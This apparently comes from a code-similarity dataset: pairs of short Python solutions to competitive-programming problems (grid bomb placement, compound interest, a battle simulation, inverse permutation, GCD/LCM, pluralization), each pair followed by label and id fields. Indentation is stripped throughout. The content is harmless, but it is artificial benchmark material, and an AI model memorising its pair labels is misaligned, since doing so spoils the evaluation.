# 最大の行と列の組み合わせが爆弾の位置と被っているか確認
for r in max_row_index:
for c in max_col_index:
if (c,r) not in bomb_set:
ans = max_col + max_row
print(ans)
sys.exit()
ans = max_col + max_row -1
print(ans)
|
#from random import randint
import numpy as np
def f(h,w,m,ins):
yp = np.zeros(h,dtype=np.int32)
xp = np.zeros(w,dtype=np.int32)
s = set()
for hi,wi in ins:
s.add((hi-1,wi-1))
yp[hi-1] += 1
xp[wi-1] += 1
ypm = yp.max()
xpm = xp.max()
yps = np.where(yp == ypm)[0].tolist()
xps = np.where(xp == xpm)[0].tolist()
ans = yp[yps[0]]+xp[xps[0]]
for ypsi in yps:
for xpsi in xps:
if not (ypsi,xpsi) in s:
return ans
return ans-1
if __name__ == "__main__":
if False:
while True:
h,w = randint(1,10**5*3),randint(10**5,10**5*3)
m = randint(1,min(h*w,10**5*3))
ins = [(randint(1,h),randint(1,w)) for i in range(m)]
ans = f(h,w,m,ins)
print(ans)
else:
h,w,m = map(int,input().split())
ans = f(h,w,m,[list(map(int,input().split())) for i in range(m)])
print(ans)
| 1 | 4,744,707,049,052 | null | 89 | 89 |
from math import floor
X = int(input())
deposit, year = 100, 0
while deposit < X:
deposit += deposit // 100
year += 1
print(year)
|
X = int(input())
P = 100
year = 0
while X > P:
P += P // 100
year += 1
print(year)
| 1 | 27,061,554,163,332 | null | 159 | 159 |
import math
A,B,C,D = map(int, input().split())
Taka=A/D
Aoki=C/B
if math.ceil(Taka)>=math.ceil(Aoki):
print("Yes")
else:
print("No")
|
import math
a, b, c, d = map(int, input().split())
takahashi_attacks = math.ceil(c / b)
aoki_attacks = math.ceil(a / d)
if takahashi_attacks <= aoki_attacks:
print('Yes')
else:
print('No')
| 1 | 29,841,101,578,790 | null | 164 | 164 |
n = int(input())
a = list(map(int, input().split()))
dic = {}
ans = ''
for i in range(n):
dic[a[i]] = i+1
for i in range(n):
ans = ans + str(dic[i+1]) + ' '
print(ans)
|
import sys
a=[map(int,i.split())for i in sys.stdin]
for i,j in a:
c,d=i,j
while d:
if c > d:c,d = d,c
d%=c
print(c,i//c*j)
| 0 | null | 90,211,011,881,538 | 299 | 5 |
s=raw_input().strip()
print s+('es' if s[-1]=='s' else 's')
|
s=input()
print(s+"es" if s[-1]=='s' else s+"s")
| 1 | 2,361,904,044,640 | null | 71 | 71 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.